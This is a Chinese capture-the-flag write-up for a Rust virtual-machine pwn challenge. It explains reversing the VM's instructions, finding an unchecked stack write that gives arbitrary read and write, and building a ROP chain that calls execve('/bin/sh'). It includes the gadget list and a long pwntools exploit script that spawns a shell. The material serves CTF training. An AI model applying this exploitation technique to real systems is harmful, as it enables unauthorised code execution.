-
-
[原创] 第十题 陷入轮回 WP
-
2022-6-2 22:47 15291
-
相比较平常的pwn题,这次题目的附件下载时间有点过长了些,不过看到第六道pwn的369的精致分,这次的100多分也对得起他的4M多的执行体了。题目虽然出的是pwn题,但核心看来还是在逆向部分,就连IDA的打开时间也长了许多。题目是rust语言编写的,看起来比较陌生,却号称是内存最安全的语言,感觉出题者具备很强的pwn基础,才能把这类题目玩这么溜。
第一次用ida打开rust程序,不知道从哪里看起,搜索字符串也没看到什么特殊的地方(ida对rust的字符串解析太弱了)。于是只能放到ubuntu里面执行一下试试,没想到除了开头显示一个字符串,对所有输入基本都没有反应,完全不知道程序想干什么。于是顺手搜索了一下题目的名字The_Mystery_of_Marie_Roget——玛丽·罗杰奇案,看来是部外语电影,但依然没有什么线索。
最后从程序的输入开始顺着栈往上追踪,最后发现来到std::io::BufRead::read_line::hfe23df61b51ffee1函数这里,看到所在的函数名vmvec::main::h1f88fe21e640590d,估计这才是rust真正的主函数。虽然每个函数后面都跟着很长的一串二进制,但基本看前半段就明白功能,后面估计只是区分该功能属于不同的类。
简单跟踪了几轮对输入的处理,大概了解了程序的逻辑。单独的符号$是一个特殊功能,单独的#是输入的结束标志,然后每一行作为一个语句会被alloc::vec::Vec$LT$T$C$A$GT$::push::hd994e0abfacd7f08压入一个栈当中。最开始还以为是rust的语法,学习了一会却发现不像。最后对输入下了硬件断点,才发现vmvec::start_vec::h1393dc29498ce194才是程序的主要逻辑。输入共有vec、adj、print、cal、cmd、jmp、je、switch_stack、halt几种语句(其中cmd迷惑了我很久,一直以为可以执行某种命令,最后才发现实现的是cmp功能)。vec定义变量;adj添加删除变量;print打印栈底或者变量;cal实现栈或者寄存器上的运算;cmd对栈上两个值进行比较,结果压入栈底;jmp和je跳转到其他代码段,其中je根据栈底的值决定是否跳转;switch_stack切换栈;halt打印结束语句然后exit。特别的,如果语句以//或者其他字符开头,则不会参与运算。
第一遍功能梳理基本没发现什么问题,第二遍对结构进行分析。输入语句和寄存器都是放在堆上的,栈定义了两个,都是在vmvec::start_vec函数的堆上。checksec发现该程序没有开启栈保护,说明这个程序的栈可能有点问题。重点研究作者设计的栈(为和真实的堆栈进行区分,后文称为模拟栈)后发现,该模拟栈设计的大小为64个8字节,且大部分情况下操作前都对栈指针进行了检查,除了reg_add_to_stack函数。只要反复调用该函数就可以一直覆盖真实的栈直到返回地址。当然,由于作者设计了两个模拟栈,而且两个模拟栈相连且随时可以切换,所以可以通过reg_add_to_stack函数修改下一个模拟栈的栈指针,然后通过switch_stack切换栈后使用print实现任意地址读,使用reg_add_to_stack函数实现任意地址写。
但开始利用时发现,虽然使用print可以实现任意地址读,而且栈、堆、程序基址都可以leak出来,但程序执行到这里后已经关闭了输入,而且重新调用main或者start函数都会出错退出,缺少了再次输入的机会。但幸好cal提供了读取和运算的功能,可以把对应的值读取后进行运算,然后写入到相应地址。这里通过修改vmvec::main函数的返回地址,构造rop实现syscall(当然如果上网方便的话也可以利用print探测出libc的版本然后写入onegadget)。
设置的rop链为:
1 2 3 4 5 6 7 8 9 10 11 12 13 | index: 0x240 0x5555555bb483 :pop rdi ret rdi - > / bin / sh heap ret - > 0x5555555bb481 pop rsi;pop r15;ret rsi = 0 r15 0 ret - > 0x0005555555AAD10 pop rax,ret rax = 0x3B / / ret = 0x0005555555B84D6 pop rcx,ret / / rcx = 0 ret = 0x0005555555B84D3 mov rdx, rcx;pop rcx;ret rcx 0 ret - > 0x55555556B91C syscall |
下面是本地测试成功的代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 | def makeInt(a): sendCmd( "vec int >>=0,0,1;" ) sendCmd( "cal add stack_to_reg" ) sendCmd( "vec int >>=0," + str (a) + ",1;" ) sendCmd( "cal add stack_to_reg" ) def test3(p): sendCmd( "vec int >>=0,0,1;" ) sendCmd( "cal add stack_to_reg" ) makeInt( 0x4c ) sendCmd( "adj ab ab ext_vec" ) sendCmd( "vec int >>=" + "1," * ( 61 ) + "1,100,180;" ) sendCmd( "cal add stack" ) sendCmd( "cal add reg_to_stack" ) # set 0x4c sendCmd( "switch_stack" ) sendCmd( "print" ) sendCmd( "cal add stack_to_reg" ) #get heap sendCmd( "switch_stack" ) sendCmd( "adj ab ab ext_vec" ) makeInt( 0x241 ) #make 0x241 sendCmd( "adj ab ab ext_vec" ) sendCmd( "vec int >>=" + "1," * ( 63 ) + "180;" ) sendCmd( "cal add stack" ) sendCmd( "cal add reg_to_stack" ) # set 0x241 sendCmd( "switch_stack" ) sendCmd( "cal add stack_to_reg" ) #get ret addr 0x555555580b9b [heap,0x555555580b9b] sendCmd( "switch_stack" ) sendCmd( "adj ab ab ext_vec" ) sendCmd( "vec int >>=0,0,1;" ) sendCmd( "cal add stack_to_reg" ) sendCmd( "cal add reg_to_stack" ) #set ret addr 0x555555580b9b sendCmd( "vec int >>=239848;" ) sendCmd( "cal add stack_to_reg" ) #set reg 0x555555580b9b sendCmd( "vec int >>=0;" ) sendCmd( "cal add stack_to_reg" ) #set reg 0x5555555bb483 [heap,0x555555580b9b,0x5555555bb483] sendCmd( "vec int >>=0,0,1;" ) sendCmd( "cal add stack_to_reg" ) #[heap,0x555555580b9b,0x5555555bb483,0] makeInt( 0x240 ) #make 0x240 sendCmd( "adj ab ab ext_vec" ) sendCmd( "vec int >>=" + "1," * ( 63 ) + "180;" ) sendCmd( "cal add stack" ) sendCmd( "cal add reg_to_stack" ) # set 0x240 sendCmd( "switch_stack" ) sendCmd( "cal add reg_to_stack" ) # [heap,0x555555580b9b] sendCmd( "switch_stack" ) sendCmd( "adj ab ab ext_vec" ) sendCmd( "vec int >>=0,0,1;" ) sendCmd( "cal add stack_to_reg" ) #[heap,0x555555580b9b, 0] sendCmd( "cal add reg_to_stack" ) # [heap] sendCmd( "vec int >>=239846;" ) sendCmd( "cal add stack_to_reg" ) # [heap,0x555555580b9b] sendCmd( "vec int >>=0;" ) sendCmd( "cal add stack_to_reg" ) # set reg 0x5555555bb483 [heap,0x555555580b9b,0x5555555bb481] sendCmd( "vec int >>=0,0,1;" ) sendCmd( "cal add stack_to_reg" ) # [heap,0x555555580b9b,0x5555555bb481,0] makeInt( 0x242 ) # make 0x240 sendCmd( "adj ab ab ext_vec" ) sendCmd( "vec int >>=" + "1," * ( 63 ) + "180;" ) sendCmd( "cal add stack" ) sendCmd( "cal add reg_to_stack" ) # set 0x240 sendCmd( "switch_stack" ) sendCmd( "cal add reg_to_stack" ) # [heap,0x555555580b9b] sendCmd( "switch_stack" ) sendCmd( "adj ab ab ext_vec" ) sendCmd( "vec int >>=0,0,1;" ) sendCmd( "cal add stack_to_reg" ) # [heap,0x555555580b9b, 0] sendCmd( "cal add reg_to_stack" ) # [heap] sendCmd( "vec int >>=172405;" ) sendCmd( "cal add stack_to_reg" ) # [heap,0x555555580b9b] sendCmd( "vec int >>=0;" ) sendCmd( "cal add stack_to_reg" ) # set reg 0x5555555bb483 [heap,0x555555580b9b,0x0005555555AAD10] sendCmd( "vec int >>=0,0,1;" ) sendCmd( "cal add stack_to_reg" ) # [heap,0x555555580b9b,0x0005555555AAD10,0] makeInt( 0x245 ) # make 0x240 sendCmd( "adj ab ab ext_vec" ) sendCmd( "vec int >>=" + "1," * ( 63 ) + "180;" ) sendCmd( "cal add stack" ) sendCmd( "cal add reg_to_stack" ) # set 0x240 sendCmd( "switch_stack" ) sendCmd( "cal add reg_to_stack" ) # [heap,0x555555580b9b] # 本来这里设置rcx,结果调试发现rcx已经是0了 # sendCmd("switch_stack") # sendCmd("adj ab ab ext_vec") # sendCmd("vec int >>=0,0,1;") # sendCmd("cal add stack_to_reg") # [heap,0x555555580b9b, 0] # sendCmd("cal add reg_to_stack") # [heap] # sendCmd("vec int >>=227643;") # sendCmd("cal add stack_to_reg") # [heap,0x555555580b9b] # sendCmd("vec int >>=0;") # sendCmd("cal add stack_to_reg") # set reg 0x5555555bb483 [heap,0x555555580b9b,0x0005555555B84D6] # sendCmd("vec int >>=0,0,1;") # sendCmd("cal add stack_to_reg") # [heap,0x555555580b9b,0x0005555555B84D6,0] # makeInt(0x247) # make 0x240 # sendCmd("adj ab ab ext_vec") # sendCmd("vec int >>=" + "1," * (63) + "180;") # sendCmd("cal add stack") # sendCmd("cal add reg_to_stack") # set 0x240 # sendCmd("switch_stack") # sendCmd("cal add reg_to_stack") # [heap,0x555555580b9b] sendCmd( "switch_stack" ) sendCmd( "adj ab ab ext_vec" ) sendCmd( "vec int >>=0,0,1;" ) sendCmd( "cal add stack_to_reg" ) # [heap,0x555555580b9b, 0] sendCmd( "cal add reg_to_stack" ) # [heap] sendCmd( "vec int >>=227640;" ) sendCmd( "cal add stack_to_reg" ) # [heap,0x555555580b9b] sendCmd( "vec int >>=0;" ) sendCmd( "cal add stack_to_reg" ) # set reg 0x5555555bb483 [heap,0x555555580b9b,0x0005555555B84D3] sendCmd( "vec int >>=0,0,1;" ) sendCmd( "cal add stack_to_reg" ) # [heap,0x555555580b9b,0x0005555555B84D3,0] makeInt( 0x247 ) # make 0x240 sendCmd( "adj ab ab ext_vec" ) sendCmd( "vec int >>=" + "1," * ( 63 ) + "180;" ) sendCmd( "cal add stack" ) sendCmd( "cal add reg_to_stack" ) # set 0x240 sendCmd( "switch_stack" ) sendCmd( "cal add reg_to_stack" ) # [heap,0x555555580b9b] sendCmd( "switch_stack" ) sendCmd( "adj ab ab ext_vec" ) sendCmd( "vec int >>=0,0,1;" ) sendCmd( "cal add stack_to_reg" ) # [heap,0x555555580b9b, 0] sendCmd( "cal add reg_to_stack" ) # [heap] sendCmd( "vec int >>=86655;" ) sendCmd( "cal add stack_to_reg" ) # [heap,0x555555580b9b] sendCmd( "vec int >>=0;" ) sendCmd( "cal sub stack_to_reg" ) # set reg 0x5555555bb483 [heap,0x555555580b9b,0x005555555A4172] sendCmd( "vec int >>=0,0,1;" ) sendCmd( "cal add stack_to_reg" ) # [heap,0x555555580b9b,0x005555555A4172,0] makeInt( 0x249 ) # make 0x240 sendCmd( "adj ab ab ext_vec" ) sendCmd( "vec int >>=" + "1," * ( 63 ) + "180;" ) sendCmd( "cal add stack" ) sendCmd( "cal add reg_to_stack" ) # set 0x240 sendCmd( "switch_stack" ) sendCmd( "cal add reg_to_stack" ) # [heap,0x555555580b9b] #sendCmd("cal add stack_to_reg") # get ret addr 0x555555580b9b sendCmd( "switch_stack" ) sendCmd( "adj ab ab ext_vec" ) #gdb.attach(p, "b* 0x000555555578862\nb* 0x0000555555585E9B") sendCmd( "vec int >>=0,0,1;" ) sendCmd( "cal add stack_to_reg" ) # [heap,0x555555580b9b,0] makeInt( 0x244 ) makeInt( 0 ) makeInt( 0x243 ) makeInt( 0x3b ) makeInt( 0x246 ) makeInt( 0 ) makeInt( 0x248 ) #makeInt(0) #makeInt(0x24A) sendCmd( "adj ab ab ext_vec" ) sendCmd( "vec int >>=" + "1," * ( 63 ) + "180;" ) sendCmd( "cal add stack" ) sendCmd( "cal add reg_to_stack" ) # set 0x248 sendCmd( "switch_stack" ) sendCmd( "cal add reg_to_stack" ) # 0 # sendCmd( "switch_stack" ) sendCmd( "cal add reg_to_stack" ) # set 0x246 sendCmd( "switch_stack" ) sendCmd( "cal add reg_to_stack" ) # 0x3b sendCmd( "switch_stack" ) sendCmd( "cal add reg_to_stack" ) # set 0x243 sendCmd( "switch_stack" ) sendCmd( "cal add reg_to_stack" ) # 0 sendCmd( "switch_stack" ) sendCmd( "cal add reg_to_stack" ) # set 0x244 sendCmd( "switch_stack" ) sendCmd( "cal add reg_to_stack" ) # 0x555555580b9b sendCmd( "switch_stack" ) sendCmd( "adj ab ab ext_vec" ) sendCmd( "vec int >>=0,15335,1;" ) sendCmd( "cal sub stack_to_reg" ) # [heap,0] makeInt( 0x241 ) sendCmd( "adj ab ab ext_vec" ) sendCmd( "vec int >>=" + "1," * ( 63 ) + "180;" ) sendCmd( "cal add stack" ) sendCmd( "cal add reg_to_stack" ) # set 0x248 sendCmd( "switch_stack" ) sendCmd( "cal add reg_to_stack" ) # heap # sendCmd("switch_stack") # sendCmd("adj ac ac ext_vec") # makeInt(0) # makeInt(0x248) #sendCmd("adj ac ac ext_vec") #sendCmd("vec int >>=" + "1," * (63 - 2 * 6) + "180;") #sendCmd("cal add stack") #sendCmd("cal add reg_to_stack") # set 0x248 #sendCmd("switch_stack") #sendCmd("cal add reg_to_stack") # 0x0 #sendCmd("cal add reg_to_stack") # set rdi #sendCmd("switch_stack") #sendCmd("cal add reg_to_stack") # set 0x241 #sendCmd("switch_stack") sendCmd( "$" ) sendCmd( "$" ) sendCmd( "adj ab /bin/sh\x00" ) sendCmd( "#" ) p.recvline() print ( hex ( int (p.recvline()))) p.interactive() def exp(p): p.recvuntil( "Now,tell me your answer.\n" ) return test3(p) def main(): global p p = remote(ip, port) #p = process(pwn, env = {"RUST_BACKTRACE":"full"}) exp(p) main() |
但实际攻击时发现一直不成功,估计是libc版本或者是调试状态等某些因素导致了最后一句"adj ab /bin/sh\x00"的地址不固定,调用/bin/sh失败。因此最终实现时增加了sendCmd("////////"+"/bin/sh\x00"*0x100)对堆进行了布置。
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界